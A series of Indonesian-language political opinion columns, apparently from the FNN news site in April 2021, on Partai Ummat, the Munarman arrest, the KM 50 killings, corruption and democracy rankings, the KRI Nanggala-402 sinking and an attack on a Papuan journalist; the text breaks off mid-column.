by Suhardi Suryadi Jakarta, FNN - Hari Sabtu, Tanggal 24 April 2021, Partai Ummat menyelenggarakan semacam gladi resik dengan mengumpulkan seluruh pengurus dan anggota Dewan Syuro. Acara yang berlangsung dari pagi hingga sore di Hotel Grand Keisia Jogyakarta telah berjalan santai, lancar dan dipenuhi warga yang menjadi simpatisan. Dimana salah satu momentum penting dari acara ini adalah pengambilan gambar (shooting) deklarasi Partai Ummat. Pendirian Partai Ummat nampaknya bukan karena pendirinya yaitu Dr. Amien Rais yang dikenal sebagai tokoh reformasi mulai kehilangan pengaruh di partai amanat nasional. Namun sebagai akademisi politik dan nyaris kiprahnya yang hampir 100 persen diabadikan pada dunia politik telah mengetahui dan merasakan denyut politik yang ada di masyarakat. Karenanya, beliau bersama sejumlah tokoh masyarakat dan politik akhirnya memutuskan untuk membentuk Partai Ummat secara simbolik. Setelah hampir 20 tahun menjadi tokoh dibalik partai amanat nasional, nampaknya beliau sulit dilepaskan dari politik dalam kehidupannya. Tantangan ke Depan Kehadiran partai baru memang disadari belum tentu mendapat respon (dukungan) dari masyarakat. Dari pengalaman pemilu 2019, tercatat ada 20 partai politik yang mendapat pengesahan dari Komisi Pemilihan Umum (KPU) dan bertarung memperebutkan dukungan masyarakat. Namun dari hasil pemilu 2019, hanya terdapat 8 partai politik yang memenuhi syarat untuk mendudukkan wakilnya sebagai anggota DPR. Sementara 12 partai lainnya terpaksa menunggu sampai pada pemilu 2024. Namun tidak berarti peluang bagi kehadiran Partai Ummat di pentas politik nasional tahun 2024 juga akan berakhir. Bahkan kelak tenggelam sebelum waktunya. Dalam survei yang dilakukan oleh Indonesia Elections and Strategic (indEX) yang dirilis 12 Maret 2021, menunjukan bahwa Partai Ummat berada di posisi 10 dengan perolehan 1,3 persen. Sekalipun masih kecil, dukungan terhadap Partai Ummat ini ternyata jauh lebih besar ketimbang suara PAN yang hanya meraih 1,1 persen. Sementara di sisi lain, keraguan terhadap Partai Ummat dalam menyemarakan kehidupan politik Indonesia juga tidak sedikit. Peneliti politik Islam dari Lembaga Ilmu Pengetahuan Indonesia (LIPI) Wasisto Raharjo Jati mengatakan bahwa pemilihan 'Ummat' sebagai nama partai, dianggap sebagai retorika keislaman. Seolah-olah dengan nama Ummat ini sebagai wujud dari korban sebuah kezaliman. Menurut Wasisto Raharjo Jati, beliau terkesan menyimbolkan bahwa partainya adalah payung umat Islam, akan tetapi justru akan membuat suara pemilih umat Islam menjadi tidak solid. Titik lemah lain adalah ketiadaan figur selain Amien sendiri. Banyak partai Islam yang hanya mengandalkan satu tokoh, tanpa basis loyalis yang kuat (Partai Ummat Amien Rais Akan Layu Sebelum Berkembang, 2 Oktober 2020, https://tirto.id/f5rZ). Namun apa yang disampaikan oleh Amien Rais menunjukan bahwa pendirian partai ummat lebih didasarkan untuk menegakan kebajikan, keadilan, dan memberantas keburukan dan kezaliman. Nampaknya cita-cita ini lebih dimaksud untuk diberlakukan secara pribadi di tingkat anggota, keluarga dan komunitas. Dengan demikian, perjuangan dalam mewujudkan kebajikan, keadilan dan memberantas kezaliman dapat berjalan di tingkat bawah, keluarga, masyarakat hingga bangsa. Suatu nilai perjuangan yang sangat luar biasa jika melihat masalah pengelolaan kekuasaan yang masih diwarnai praktek korupsi dan ketidakadilan. Karena itu, partai ummat akan semakin mendapat dukungan luas dari masyarakat pemilih jika dari awal bertekad memberantas korupsi. Setidaknya dimulai dari dalam diri pengurusnya. Pemberantasan korupsi merupakan nilai penting karena dampak pertumbuhan ekonomi lebih dinikmati elite tertentu melalui praktek penyimpangan. Sehingga mengakibatkan ketidaksetaraan kekayaan diantara warga masyarakat. Dr. Martin Luther King, dalam pidatonya di National Cathedral, Washington, D.C., 31 Maret 1968. menyatakan bahwa “busur semesta moral itu panjang tetapi ia mengarah pada keadilan.” Pesannya jelas yaitu dimaksudkan untuk membangkitkan semangat, namun kemajuan menuju keadilan harus dilakukan meski bersifat sangat bertahap. Semoga partai ummat dapat berkembang dengan dimulai dari kecil, namun semangatnya besar yaitu menegakan keadilan dan membasmi praktek korupsi dari hasil penyimpangan kekuasaan di semua lini. Jika tidak, maka partai ummat akan dicatat sejarah bahwa pernah berdiri namun tidak mampu berlari. Penulis adalah Peneliti LP3ES.

Penangkapan Munarman, Penguasa Yang Semakin Brutal

MUNARMAN bukan orang bodoh. Apalagi mau disebut seorang pengacara bodoh. Jauh dari itu. Tapi, dia bisa dibuat terbodoh-bodoh oleh para penguasa yang sekarang ini sedang menjabarkan naskah yang ditulis oleh oligarkhi taipan. Munarman ditangkap oleh Detasemen Khusus (Densus) 88 dengan ‘dugaan’ terkait dengan terorisme. Penangkapan yang ‘high profile’ alias ‘berkelas’. Yang dijadikan dasar penangkapan adalah pengakuan seorang tersangka teroris di Makassar. Dia, kata pihak kepolisian, menyebut nama Munarman. Entah siapa gerangan teroris Makassar itu, tidak jelas. Dalam kaitan apa, juga semakin tak jelas. Yang jelas adalah Munarman harus ditangkap. Dan ditangkap dengan tuduhan terorisme. Supaya kelihatan seram dan semua orang akan bungkam. Publik sebenarnya sudah paham tentang apa yang mau dilakukan oleh para penguasa. Munarman adalah satu kisi-kisi dari tujuan para penguasa yang sekarang semakin otoriter. Munarman adalah salah seorang yang berperan penting di lingkaran Habib Rizieq Syihab (HRS). Habib adalah tokoh sentral oposisi yang tak pernah mau berkompromi melihat kesewenangan yang dilakukan elit penguasa (termasuk di dalamnya para ketua parpol-parpol bejat) dan elit bisnis yang pekerjaan utamanya adalah merampok Indonesia. HRS mula-mula berteriak sendirian melawan kedua elit itu. Tetapi, beliau bisa meyakinkan rakyat bahwa kesewenangan penguasa dan elit bisnis (yang biasa disebut taipan jahat) itu akan menghancurkan masa depan bangsa dan negara. Publik percaya karena memang dari hari ke hari kesemena-menaan kedua elit itu semakin blak-blakan. HRS tidak punya modal apa-apa dalam misinya melawan kezaliman. Namun, rakyat memberikan dukungan kuat. Dan dukungan itu kemudian terbukti semakin besar dan semakin solid. Habib bisa dalam ‘short notice’ (pemberitahuan mendadak) mengumpulkan massa rakyat dalam jumlah besar. Bisa berjuta-juta orang sekali kumpul. Lintas ormas, lintas mazhab. Para elit penguasa dan bisnis mulai gelisah. HRS menjadi sangat kuat. Mereka semua merasa terancam. Karena itu, Habib dan mesin komunikasinya harus distop. Celakanya, mereka harus mencarikan cara ‘legal procedures’ (prosedur hukum) untuk meruntuhkan pengaruh Imam Besar itu. Tidak ada cara lain yang ampuh kecuali membawa HRS dan rombongannya digiring ke ranah terorisme. FPI harus dilabelisasi sebagai organisasi berbahaya yang akan melancarkan aksi teror meskipun publik menertawakannya. Dengan begini, para penguasa bisa dengan mudah menghabisi para aktivis FPI dengan alasan terlibat teroris. HRS dan Munarman adalah dua fIgur yang berpotensi sebagai penggerak opini publik untuk menghancurkan kezaliman dan perampokan yang dilakukan para taipan. Itulah sebabnya mereka sejak lama sudah masuk daftar target untuk dilumpuhkan dengan tuduhan terorisme. HRS untuk saat ini tak bisa mereka seret ke isu terorisme karena memang tidak mudah untuk membuktikannya. Kecuali dengan cara-cara busuk yang ditempuh oleh penguasa. Dan inilah yang sedang tayang. Markas FPI di Petamburan digeledah. Entah bagaimana, para petugas bisa dengan mudah menemukan barang bukti berbahaya berupa serbuk putih. Serbuk putih tentunya bisa dibawa ke mana-mana. Bisa disebut ramuan dasar pembuatan bahan peledak, atau bisa juga disebut sebagai zat (obat-obatan) terlarang seperti sabu-sabu, dlsb. Mau disebut apa pun di antara dua bahan itu, pastilah para mantan aktivis FPI, termasuk Munarman, akan tercitra jahat. Pembuat bom atau pengedar maupun pemakai narkoba. Jadi, begitulah para penguasa yang semakin brutal. Siapa saja yang berpotensi menjadi ancaman politik bagi mereka, bisa dipastikan akan digiring ke isu terorisme atau narkoba. Perkara tak masuk akal publik, mereka tidak peduli. Yang penting musuh bisa dilumpuhkan. Tapi, mereka lupa bahwa publik mencermati sepak terjang para penguasa zalim. Rakyat akan membiarkan mereka terjebak ke dalam perangkap yang mereka buat sendiri. Baru kemudian ‘tikus-tikus’ yang terjebak itu akan mengalami nasib yang tragis akibat kejahatan mereka sendiri.

Kasus KM 50, Diduga Institusi Kepolisian Yang Mau Dikorbankan

by M. Rizal Fadillah Bandung FNN - Hingga kini Kepolisian masih otak-atik untuk mengumumkan nama-nama tersangka pembunuhan enam anggota laskar mantan Front Pdembela Islam (FPI) di kilometer 50 tol Jakarta-Cikampek (Japek). Konon satu orang palakunya sudah meninggal dalam kecelakaan tunggal. Itu pun tak jelas peristiwanya. Dunia tentu mentertawakan kinerja dan pekerjaan yang sebenarnya sangat mudah, akan tetapi menjadi sulit seperti ini. Masalah sulitnya adalah karena berupaya untuk mempertimbangkan skenario dan menyembuyikan kebenaran. Bukan menguak fakta kebenaran atau keadilan. Lemparan awal yang ternyata tidak sesuai dengan fakta dan logika. Akibatnya yang berikutnya bisa berubah ubah. Penyelidikan yang dilakukan Komisi Nasional Hak Asasi Manusia (Komnas HAM) yang sarat dengan kritik keraguan publik juga menghadapi kemandegan tindak lanjut. Meski Komnas HAM telah diback-up habis Presiden Jokowi dan Menteri Kordintor Bidang Politik Hukum dan Keamanan (Menkopolhukam) masih berjalan di tempat. Tidak melakukan penyelidikan lanjutan Komnas HAM seharusnya melakukan penyelidikan lanjutan yang bersifat pro justisia. Sebab penyelidikan pro justisia itu sesuai dengan perintah Undang-Undang Nomor 26 tahun 2000. Tinggal menyampaikan pemberitahuan kepada Kejaksan Agung bahwa Komnas HAM sedang melakukan penyelidikan pro justisia untuk kasus kilometer 50 tol Japek. Pertanyaan paling mendasar adalah benarkah pembunuh enam anggota Laskar FPI itu adalah aparat Kepolisian atau instansi lain selain Kepolisian? Melihat penetapkan tersangka yang berbelit-belit, dan cenderung disembunyikan, maka wajar saja kalau publik meragukan intitusi kepolisian sebagai pelaku pembunuhan. Meskipun telah diakui oleh Kapolda Metro Jaya, Irjen Polisi Fadil Imran. Yang diragukan dan dibicarakan publik bukan hanya soal dua korban "tembak-menembak" dan empat yang ditembak. Sebab keenam anggota laskar mantan FPI itu mengalami luka tembak mematikan yang sama, yaitu seluruhnya ditembak dari jarak dekat. Memilah-milah keduanya adalah keliru besar. Komnas HAM hanya menerima keterangan sepihak dan diduga kuat ikut menyembunyikan kebenaran. Jika Polisi sudah yakin bahwa pembunuh itu Elwira, Yusmin dan Fikri Ramdhani, maka segera umumkan saja, dan selesai. Selanutnya tangkap dan tahan mereka. Tinggal penyidikan lanjutan atas status tersangka mereka. Masalahnya adalah pelapor awal yang mentersangkakan "korban" pembunuhan adalah justru paket lain, yaitu Faisal, Fikri, dan Adi Ismanto. Pilihan paket ini juga menjadi menarik. Tampak kalau Bareskrim Polri masih ragu dengan skenario ini. Sebab bisa-bisa mengorbankan institusi Kepolisian yang mungkin saja bukan pelaku sebenarnya. Wajar kalau publik menduga, pelakunya anggota polisi yang diperbantukan ke institusi negara yang lain. Akibatnya adalah institusi Kepolisian akan dicatat oleh sejarah sebagai pelaku pembunuhan warga negara yang berada dalam penguasaan anggota polisi yang bertugas. Beredar viral tentang adanya tim penguntit dan pemburu Habib Rizieq (HRS) dan rombongan yang ternyata bukan semata-mata hanya dari elemen Kepolisian. Ada banyak personal dari Badan Intelijen negara (BIN). Diantaranya anggota BIN dari Daerah. Penguntitan yang dilakukan puluhan personal tentu saja didasarkan atas Surat Tugas dari atasan. Kalau dengan Surat Penugasan dari atasan, maka dengan demikian ada kegiatan yang dilakukan secara sistematik dan terencana. Sehingga menjadi unsur-unsur dari terjadinya pelanggaran HAM berat. Aneh saja kalau Komnas HAM tidak berani mendapatkan keterangan atau informasi dari personil yang bukan dari institusi Kepolisian seperti ini. Komnas HAM hanya fokus di Polri saja. Kalau benar terlibat, maka lambat atau cepat dugaan keterlibatan institusi lain di luar Kopolisian pasti akan terungkap. Itu berarti penyelidikan duagaan adanya pelanggaran HAM terkait pembunuhan enam anggota lankar mantan FPI di kilometer 50 tol Japek bakal dimulai dari awal lagi. Hasil kerja Komnas HAM yang sekarang bisa dikatagorikan sebagai penyelidikan yang abal-abal semata. Dugaan hubungan antar instansi sebagai bagian operasi sistematik ini tergambarkan melalui cepatnya konperensi pers Kapolda Metro Jaya Fadil Imran bersama dengan Pangdam Jaya Dudung Abdurrahman. Jika konteks pembunuhan adalah penegakkan hukum, maka cukuplah konperensi pers dilakukan oleh Kapolda Metro Jaya. Tidak perlu Pangdam Jaya ikut-ikutan pekerjaan yang bukan tupoksinya. Kini pertanggungjawaban hukum tidak cukup selesai pada pelaku di lapangan. Akan tetapi kebijakan komando juga harus dibongkar. Komnas HAM diduga menutup voice note antar petugas dengan para komandan. Fadil Imran tidak bisa berleha-leha. Begitu juga dengan Dudung Andurahman. Kabareskrim belum tentu tak terlibat. Jadi kisah pelanggaran HAM berat Km 50 harus dibuka habis. Jika hanya pelaku lapangan yang terkena target, maka persoalan masih akan terus menggantung. Bisa ujung-ujungnya pertanggungjawabanpelanggaran HAM berat pembunuhan dan penyiksaan enam anggota laskar mantan FPI adalah Presiden Jokowi. Harusnya negara hadir untuk melindungi anak bangsanya. Bukan sebaliknya, negara terlibat dalam pembunuhan rakyatnya. Peristiwa ini bukan semata kasus hukum. Peristiwa ini adalah kejahatan kemanusiaan yang berbentuk pembunuhan politik. Harus dipertanggungjawaban juga secara politik. Kilometer 50 tol Japek tak boleh diabaikan. Kilometer 50 tol Japek adalah crimes against humanity. Penulis adalah Pemerhati Politik dan Kebangsaan.

Eranya Jokowi, Indonesia Buruk Soal Pemberantasan Korupsi & Demokrasi

by Gde Siriana Jakarta FNN - Indeks Persepsi Korupsi-IPK (Corruption Perception Index-CPI) yang dikeluarkan Berlin-based Transparency International sejak 1995, menunjukkan bahwa IPK Indonesia tahun 2020 melorot 3 poin dibanding tahun 2019, dan menempati ranking 101 dari 179 negara. Jika dilihat sejak 2015-2020, maka score-nya pun tidak berubah banyak. Tahun 2015 score-nya 36 dengan posisi di ranking 88. Meskipun 2020 score-nya naik menjadi 37, tetapi rankingnya melorot jauh ke posisi 101. Artinya banyak negara lain yang lebih baik dalam pemberantasan korupsinya, sehingga menyalip posisi Indonesia. Soal pemberantasan korupsi ini, peran dan efektifitas Komisi Pemberantasan Korupsi (KPK) sebagai garda depan pemberantasan korupsi patut dipertanyakan. Bahkan dari dua peristiwa terakhir di tahun 2021 yang melibatkan oknum KPK, yaitu penggelapan barang bukti dan suap kepada penyidik KPK menunjukkan bahwa KPK mengalami penurunan kualitas. Bahasa halusnya degradasi moral. Dua menteri yang dijadikan tersangka oleh KPK, Edhy Prabowo dan Juliari Peter Batubara sangat mungkin perisitiwa ini yang dapat menurunkan kepercayaan publik pada upaya pemberantasan korupsi di Indonesia. Tentunya sangat mungkin ini semua menurunkan score dan posisi Indonesia dalam daftar Indeks Persepsi Korupsi tahun 2021. Indeks Demokrasi Parah Menurunnya indeks persepsi korupsi ini juga seiring dengan menurunnya indeks demokrasi di Indonesia. Indeks demokrasi yang disusun oleh The Economist Intelligence Unit (EIU), divisi riset dari The Economist Group yang berbasis di Inggris, menempatkan indeks demokrasi Indonesia tahun 2020 di ranking 64 dari 167 negara. Fakta global menunjukkan banyak negara mengalami penurunan score indeks demokrasi selama masa pandemi Covid19. Sangat mungkin selama pandemi, pemerintahan di banyak negara merespon pandemi dengan mengeluarkan kebijakan yang tidak melalui proses demokratis yang melibatkan peran serta publik, sehingga kebijakannya dianggap tidak sesuai harapan publik atau pro masyarakat banyak. Meskipun secara global banyak negara yang mengalami penurunan indeks demokrasi, yang paling memprihatinkan di Indonesia adalah selama lima tahun terakhir, 2015-2020 telah terjadi trend penurunan indeks demokrasi. Jika tahun 2015 score-nya 7,03 dengan ranking 49, maka di 2020 turun drastis score-nya menjadi 6,30 di rangking 64. Sedangkan untuk masuk level negara full-democracy score-nya harus mencapai 8. Artinya selama lima tahun terakhir, terjadi penurunan kualitas demokrasi di Indonesia. Bandingkan dengan Timor Leste yang ranking nya relatif tetap di posisi 44, baik di tahun 2015 maupun tahun 2020. Meskipun terjadi perubahan kriteria penilaian indeks demokrasi dalam beberapa tahun terakhir, tidak bisa disangkal bahwa penurunan ranking itu menunjukkan ada negara lain yang lebih baik kulitas demokrasinya sehingga menyalip posisi Indonesia. Melihat trend penurunan indeks demokrasi dan indeks persepsi korupsi di Indonesia selama lima tahun terakhir, menarik untuk munculnya suatu hipotesa bahwa ada korelasi antara menurunnya kualitas demokrasi dan meningkatnya korupsi di Indonesia dalam lima tahun terakhir. Meskipun hipotesa itu perlu dibuktikan dengan metodelogi kuantitatif, setidaknya secara kualitatif beberapa fakta dapat dijadikan dasar bagi hipotesa tersebut. Misalnya, tidak berfungsinya peran dan fungsi parlemen sebagai saluran demokrasi sekaligus mengawasi jalannya pemerintahan. Karena hampir semua Parpol Politik (fraksi) menjadi bagian dari koalisi kabinet Jokowi. Sangat wajar jika kemudian kebijakan yang dianggap publik sebagai kebijakan yang berpotensi rente atau dikorupsi tidak mendapatkan resistensi dan pengawasan yang proper dari parlemen. Kita bisa menyaksikan bagaimana resistensi publik pada kebijakan Kartu Pra Kerja di awal pandemi yang kemudian direvisi karena tekanan publik yang amat kuat. Juga resistensi publik pada UU Omnibus-Law Cipta Kerja yang dianggap lebih pro pengusaha. Tidak transparanan pembuat kebijakan patut untuk dianggap sebagai kebijakan rente atau kebijakan yang koruptif, karena adanya kolusi antara pembuat kebijakan dan pengusaha. Mekanisme threshold pada kontes politik yang menimbulkan mahar politik untuk elit-elit parpol. Mekanisme ini faktanya dapat menurunkan kualitas demokrasi karena pencalonan kontestan politik sangat ditentukan oleh uang. Bukan karena partisipasi atau kehendak rakyat. Ujungnya, kontes politik berbiaya tinggi ini menjadi motif dari kasus korupsi kepala daerah terpilih di kemudian hari. Jadi dapat ditarik suatu kesimpulan awal, bahwa selama masih ada mahar politik akibat aturan threshold, maka kontes politik yang berbiaya tinggi pasti terjadi. Ujungnya adalah kasus korupsi dan kebijakan yang koruptif (rente) di Indonesia akan sulit diberantas. Penulis adalah Direktur Eksekutuif INFUSS.

Tenggelamnya Kapal Nanggala 402 dan Misteri Angka 8

PERISTIWA tenggelamnya KRI Nanggala-402 di perairan utara Bali menyisakan duka mendalam bagi seluruh rakyat Indonesia. Banyak analisa, teori, dugaan, bahkan ramalan tentang penyebab tenggelamnya kapal selam tersebut mulai dari usia kapal yang uzur, torpedo meledak, diserang musuh di bawah laut hingga menjadi tumbal Ratu Laut Selatan. Analisa terus berkembang bahkan secara liar, yang jelas musibah ini menjadi tanggungjawab Menteri Pertahanan Prabowo Subianto. Capres 3 kali gagal ini memiliki angka misterius yakni delapan yang telah lengket pada dirinya. Oleh sebab itu ia sering dipanggil dengan kode Nol Lapan (08). Angka-angka yang muncul dalam musibah ini, jika diutak-atik akan merujuk pada angka 8. Nanggala 402 jika diurai 4 kali 2 akan ketemu 8. Berpenumpang 53 orang, jika diurai 5 ditambah 3 sama dengan 8. Hilang kontak pada 21 April, diurai 2x1x4 juga ketemu 8. Bahkan musibah ini ternyata juga menimpa keluarga Nol Lapan, yakni Letnan Dua (Letda) Laut (T) Rhesa Tri Sigar yang merupakan putra Letkol Godfried Sigar yang juga gugur di medan tugas di Timor Timur pada 4 Juni 1998. Godfried Sigar adalah sepupu Prabowo. Jika ingat kata tenggelam, lamunan kita langsung nyambung ke peristiwa heroik Pilpres 2019, di mana Capres 08 akan setia bersama rakyat. Ia berjanji akan timbul dan tenggelam bersama rakyat. Pada masa itu frasa "timbul tenggelam" menjadi ungkapan yang enak diucapkan dan mantap diteriakkan. Ia bagaikan oase di padang pasir yang memberikan kesejukan juga solusi di tengah keringnya kepemimpinan nasional. Betapa tidak, saat 4 tahun rakyat Indonesia gerah dipimpin Jokowi, ada satu sosok tegas, lugas, dan ganas melawan kezaliman yang siap mengawal barisan rakyat melakukan perubahan. Prabowo dianggap mengerti suasana batin mayoritas rakyat yang ingin ganti presiden. Kampanyenya memberi harapan, orasinya menggetarkan, kecintaannya terhadap ulama dan umat Islam mengharukan. Emak-emak begitu gandrung menyambut "Sang Fajar" yang datang dari Hambalang. Emak-emak terpesona oleh janji-janji yang memabukkan sehingga membuat masyarakat memiliki secercah harapan. Tak hanya itu, untuk meyakinkan masyarakat, Prabowo berencana membuat surat "wasiat" yang ia sampaikan dalam simposium Mengungkap Fakta-Fakta Kecurangan Pilpres 2019, di Hotel Grand Sahid Jaya Jakarta, Selasa, 14 Mei 2019. Dalam kesempatan itu, Prabowo menyebut ada kecurangan masif pada pemilu 2019 yang dilakukan oleh KPU. Prabowo meminta KPU adil, jika tidak adil berarti mereka meneruskan kebohongan dan mengizinkan penjajahan terhadap rakyat Indonesia. Prabowo terus memompa semangat rakyat untuk berjuang melawan kecurangan.Ia terpanggil untuk selalu bersama rakyat karena ia sendiri merasakan penderitaan rakyat. Ia berkeliling Indonesia dan melihat dengan mata kepala sendiri, memegang tangan mereka, merasakan ada getaran-getaran dan harapan mereka akan suatu negara yang adil dan makmur. Prabowo tertantang untuk mewujudkannya. “Karena itu tidak mungkin saya meninggalkan rakyat Indonesia. Saya akan timbul dan tenggelam bersama rakyat Indonesia,” pekiknya. Publik begitu terharu dan menganggap Prabowo siap mati membela kebenaran. Apa yang terjadi kemudian, setelah dinyatakan kalah, Prabowo malah masuk ke dalam kabinet kerja Jokowi menjabat sebagai Menteri Pertahanan. Jangan ditanya perasaan masyarakat atas keputusan yang menyakitkan itu. Untuk meredam gejolak masyakarat para penyambung lidah Prabowo mengatakan bahwa masuknya Nol Lapan ke dalam rezim merupakan bagian strategi dari dalam. Tetapi yang terjadi justru sebaliknya, setahun kemudian Sandi sang wakil, membebek mengikuti jejak Prabowo masuk kabinet. Ia didapuk menjadi Menteri Pariwisata yang pada kesempatan pertama diminta memperbaiki toilet oleh Menteri Luhut. Rasa sakit hati rakyat belum juga sembuh, tiba tiba juru bicara Prabowo, Dah Nil Simanjuntak malah menghina umat Islam dengan mengatakan HRS bukan siapa-siapa. Jangankan bikin strategi, mengelola anggaran saja kurang cakap. Lihat saja anggaran Kemenhan yang cukup besar, namun tak memberikan kemajuan berarti. Ketua Umum DPP GMNI Arjuna Putra Aldino, malah menilai Menteri Pertahanan tidak memberi perhatian yang cukup kepada TNI Angkatan Laut. Postur dan alokasi anggaran Kemenhan yang cukup besar dan terus merangkak naik dari tahun ke tahun, seharusnya mampu mensupport pengembangan alutsista Pertahanan. Dikutip dari Buku Nota Keuangan II Beserta RAPBN TA 2021, anggaran Kemenhan lebih tinggi dari yang pertama kali diusulkan dalam Kerangka Ekonomi Makro dan Pokok-Pokok Kebijakan Fiskal Tahun 2021 yang mencapai Rp 129,3 triliun. Adapun anggaran Kemenhan yang diajukan Jokowi untuk belanja tahun anggaran 2021, meningkat 18,76% dari belanja Kemenhan pada tahun anggaran 2019 yang mencapai Rp 115,35 triliun. Untuk diketahui, anggaran belanja Kemenhan dari tahun 2016 hingga tahun 2021 mengalami fluktuasi. Dari anggaran belanja tahun 2016 ke anggaran belanja tahun 2017 meningkat 19,6%. Kemudian anggaran tahun 2017 ke 2018 turun 9,04%. Sementara anggaran belanja Kemenhan dari tahun 2018 hingga ke tahun 2019 dan 2020 meningkat. "Pada 2016 sebesar Rp 98,1 triliun. Pada 2017 Rp 117,3 triliun, pada 2018 menurun menjadi Rp 106,7 triliun. Kemudian kembali meningkat untuk anggaran tahun 2019 yang sebesar Rp 115,4 triliun. Outlook 2020 Rp 117,9 triliun dan RAPBN 2021 Rp 136,9 triliun," demikian tertera dalam Buku II Nota Keuangan beserta RAPBN Tahun 2021, dikutip CNBC Indonesia, Jumat (14/8/2020). Artinya, Menhan tidak mampu menerjemahkan visi-misi Presiden di bidang pertahanan. Dapat dilihat dari postur dan alokasi anggaran. Dengan tidak cakapnya mengelola anggaran, kita jadi teringat uang receh berkarung-karung sumbangan rakyat saat Pilpres, seperti apa nasibnya ya? Tenggelamnya Nanggala 402 jelas menampar muka Prabowo. Kali ini adalah tamparan ketiga. Tamparan pertama, terjadi saat Menteri Sosial Eddy Prabowo tertangkap KPK dalam suap ekspor benih lobster, tamparan kedua adanya keterlibatan anggota Komisi III DPR Fraksi Gerindra Rahmat Muhajirin yang diduga terlibat pencurian 21,5 ton solar dari Single Point Mooring (SPM) milik PT Pertamina di perairan Tuban, Jawa Timur. Rahmat kemudian dilaporkan ke Mahkamah Kehormatan Dewan (MKD) DPR RI. Sungguh aneh, sudah tiga kali kena tampar toh Prabowo masih tampak happy saja. Ia asyik menenggelamkan diri dan tak pernah berupaya untuk timbul. Padahal timbul-tenggelam itu sesungguhnya menggelitik dan asyik. Entah malu atau lidahnya kelu. Bisa jadi kelu terkena mubahallah para ulama. Ia kelu untuk sekadar kirim bela sungkawa 6 laskar FPI yang dibunuh di Km 50 tol Jakarta Cikampek. Ia kelu untuk sekadar bersimpati pada Habib Rizieq Shihab (HRS) yang bertubi-tubi dimusuhi oleh polisi dan jaksa di sidang “Pengadilan Prokes” yang lucunya melebihi Srimulat. Ada berapa juta manusia Indonesia yang melakukan tindakan yang sama dengan apa yang dilakukan HRS. Tetapi mengapa hanya Maulid Nabi, perkawinan putri HRS, dan hasil test swab yang diadili. Bahkan rumah sakit Ummi tempat HRS melakukan test, diobok-obok dan diintimidasi. Direkturnya diancam, karyawannya ditekan, satpamnya dikondisikan. Tenggelamnya kapal selam Nanggala 402 hanya salah satu dari banyaknya kejadian luar biasa di republik ini. Setidaknya ada 16 musibah kecelakaan alutsita di era Jokowi dari musibah jatuhnya helikopter hingga tenggelamnya kapal selam. Sebelumnya di luar alutsita ada peristiwa jatuhnya pesawat terbang, meledaknya kilang minyak Balongan, peristiwa meledaknya bom di Makassar dan Mabes Polri, mana kelanjutannya? Peristiwa-peristiwa itu menguap begitu saja. Seorang pemimpin yang baik, tak cukup hanya berucap bela sungkawa dan kirim karangan bunga. Ia harus tegas mengatakan akan usut sampai tuntas. Jika tidak, ia harus mundur. Ingat, jika alam sudah berbicara maka segala upaya, ikhtiar, rekayasa, dan skenario manusia tak ada gunanya. (SWS).

Seandainya Nanggala 402 Dilengkapi Sekoci Seperti HDW 209 Milik India

by Asyari Usman Medan, FNN - Kapal selam HDW Tipe 209 buatan Jerman juga dipakai oleh angkatan laut India. Tetapi, ada satu perbedaan penting antara HDW 209 milik Indonesia dengan yang dipakai India. Diperkirakan, perbedaan krusial itu mungkin saja bisa menyelamatkan 53 personel yang berada di Nanggala 402. Apakah perbedaan itu? Menurut media online India, The Print, HDW 209 yang dioperasikan India dilengkapi semacam sekoci (pod) penyelamat ketika terjadi krisis. Sekoci itu “detachable” (bisa dilepas) dari induknya atau badan kapal selam kapan saja perlu dilakukan. Dan sekoci itu bisa membawa 50-an awak sebagaimana jumlah personel yang berada di Nanggala 402. Kelima kapal selam (kasel) HDW 209 Indonesia tidak dilengkapi fitur ini. Hanya milik India saja yang dilengkapi sekoci penyelamat itu. KRI Nanggala 402 sudah pernah beberapa kali di-upgrade. Terakhir dilakukan pada 2012. Waktu itu, sebagian struktur rangkanya diganti. Sedang yang termasuk di-upgrade adalah baling-baling, sistem sonar dan sistem persenjataan. Jerman sendiri tidak menggunakan HDW Tipe 209. Tapi, cukup sukses menjualnya ke negara-negara lain. Jenis ini merupakan kasel non-nuklir yang paling laris di dunia. Seandainya KRI Nanggala 402 itu dilengkapi dengan sekoci darurat seperti yang ada di 5 kasel HDW 209 milik India, barangkali saja ada cerita dramatis tentang perjuangan untuk menyelamatkan diri. Boleh jadi juga ada kejutan heroik yang mereka lakukan. Namun, Yang Maha Kuasa telah menentukan takdir Nanggala 402 dan 53 awaknya.[] Penulis adalah Wartawan Senior FNN.co.id.

Jurnalis Tabloid Jubi Papua Jadi Korban Aksi Teror

by Marthen Goo Jayapura FNN – Wartawan senior sekaligus Pemimpin Umum Tabloid Jubi yang berbasis di tanah Papua, Victor Mambor menjadi korban aksi teror. Mobil miliknya yang diparkir di tepi jalan dekat rumahnya, dirusak orang tak dikenal, pada rabu (21/4/2021) sekitar pukul 00.00- 02.00 WIT. Mobil Isuzu DMax (Double Cabin) milik Victor dirusak pada bagian kaca depan. Diduga pelaku menggunakan benda tumpul untuk merusak mobil hingga retak. Pada bagian belakang di sebelah kiri juga dipukul. Diduga memakai benda tajam, sehingga bagian ini hancur. Pintu depan dan belakang sebelah kiri dicoret-coret menggunakan cat piloks berwarna orange. Ketua Aliansi Jurnalis Jayapura (AJI), Lucky Ireeuw menduga aksi teror tersebut terjadi berkaitan dengan pemberitaan Tabloid Jubi yang tak disukai pihak tertentu. Tindakan teror dan intimidasi ini jelas bentuk kekerasan terhadap jurnalis dan mengancam kebebasan pers di Papua dan Indonesia pada umumnya. Menurut Adi Briantika yang dirilis di Tirto.id, teror ini diduga terkait dengan rangkaian teror sebelumnya. Misalnya, serangan digital, doxing, dan penyebaran selebaran di media sosial yang kontennya menyudutkan, mengadu domba, dan mengkriminalisasi Tabloid Jubi maupun Victor. Jubi merupakan salah satu media independen dan kredibel dengan fokus utama isu Papua dari sisi orang asli Papua. Menurut Advokad senior Yan Christian Warinusi, aksi nyata teror dan intimidasi yang ditujukan terhadap psikis saudara Mambor jelas sangat berkaitan erat dengan tugas jurnalisme yang dilakukannya. Apalagi beberapa pemberitaan Tabloid Jubi, media yang digawangi Mambor senantiasa menampilkan pemberitaan dari sudut pandang (angle) yang berbeda. Sesungguhnya semua sajian pemberitaan Tabloid Jubi sangat dilindungi oleh UU RI Nomor 40 Tahun 1999 tentang Pers. Sehingga, siapapun yang tidak puas dengan berita sajian Jubi, seyogyanya dapat menempuh prosedur melalui penggunaan hak jawab. Tidak dengan teror. Teror hanya pekerjaan orang-orang yang anti kebebasan berpendapat. Cara-cara yang primitif. Kebebasan Pers Sejak Abad-17 Soal kebebasan pers 